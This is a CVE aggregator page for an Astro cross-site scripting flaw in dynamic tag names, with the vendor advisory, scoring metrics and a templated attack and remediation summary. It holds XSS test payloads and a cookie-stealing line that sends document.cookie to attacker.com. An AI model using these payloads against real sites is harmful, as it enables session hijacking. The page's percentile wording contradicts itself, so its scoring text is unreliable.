CVE Professor
›
Back
CVE-2026-126361

CVE-2026-126361 — Astro — CWE-79 · CWE-184

LOW CVSS 0 ⚡ EPSS 0.3% GitHub

CVE-2026-126361 is a LOW severity Cross-Site Scripting (XSS) vulnerability (CWE-79, CWE-184) (CVSS 0.0/10 (EPSS: 0.3%)) affecting Astro. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

## Summary When a dynamic tag (`const Tag = ...; <Tag />`) resolves to a string, Astro renders it as a raw HTML element name. The name was filtered to remove characters that could inject attributes, but the filter did not handle `/`. Because HTML parsers treat `/` inside a tag as an attribute separator, a tag name such as `img/src/onerror=alert(1)` was rendered as an `<img>` element with an `onerror` attribute. The JSX renderer used for MDX did not filter string tag names at all. For example: ```astro --- const Tag = Astro.url.searchParams.get('as') ?? 'div'; --- <Tag>hello</Tag> ``` rendered `?as=img/src/onerror=alert(1)` as live HTML. ## Impact Reflected or stored cross-site scripting, but only in applications that use untrusted input (such as a request parameter or an uncontrolled CMS field) as all or part of an element name. Astro itself never derives element names from request data. Applications that let content choose an element should map that input to a fixed set of known tags. Letting untrusted input choose an element name is unsafe even with a correct filter, because it can still select elements such as `script` or `iframe`. ## Affected versions `astro` <= 7.4.4. ## Patches Fixed in `astro` 7.4.5. String tag names in `.astro` dynamic tags, JSX, and MDX now render only the leading valid element name, so characters such as `/` or `=` can no longer change the generated markup. Strings that do not start with a valid element name now throw an error. ## Workar

Published 13.11.2026
ISO Date 2026-11-13
CVSS Version v4.0
Source GitHub
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. None VA:N
Subseq. Conf. Low SC:L
Subseq. Integ. Low SI:L
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 25. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-126361
CVSS 0/10 · LOW · 13.11.2026
CWE: CWE-79, CWE-184
Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: ## Summary

When a dynamic tag (const Tag = ...; <Tag />) resolves to a string, Astro renders it as a raw HTML element name. The name was filtered to remove characters that could inject attributes, but the filter did not handle /. Because HTML parsers treat / inside a tag as an attribute separator, a tag name such as img/src/onerror=alert(1) was rendered as an <img> element with an `o…
Affected: astro

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT

🛡️ REMEDIATION
→ Apply vendor security update for astro.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📌 Low priority — routine update sufficient.

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
0 / 10 · CVSS LOW
Weakness Types (CWE)
CWE-79 CWE-184
Affected Products (1)
astro
References & Advisories (4)
Related CVEs
6.9
CVE-2026-91138
The Deco BE65 v3 firmware contains a shared hard-coded password hash for the root account in /etc/shadow. Wher
5.4
CVE-2026-132752
ScreenTinker before 3.2.4 contains a stored cross-site scripting vulnerability in the GET /api/kiosk/:id/rende
5.3
CVE-2026-132608
A vulnerability was identified in SECUDOCX DMP up to 9.0.0 Build 1027. This affects an unknown function of the
9.8
CVE-2026-130735
Grav from 2.0.0 before 2.2.18 contains a Twig injection vulnerability that allows media-only accounts and anon
9.8
CVE-2026-73969
AnsibleForms is a self-hosted web application that turns automation into self-service forms. Prior to 6.2.1, A
9.6
CVE-2026-130680
SiYuan from 3.3.0 before 3.8.10 contains a stored cross-site scripting vulnerability that allows attackers to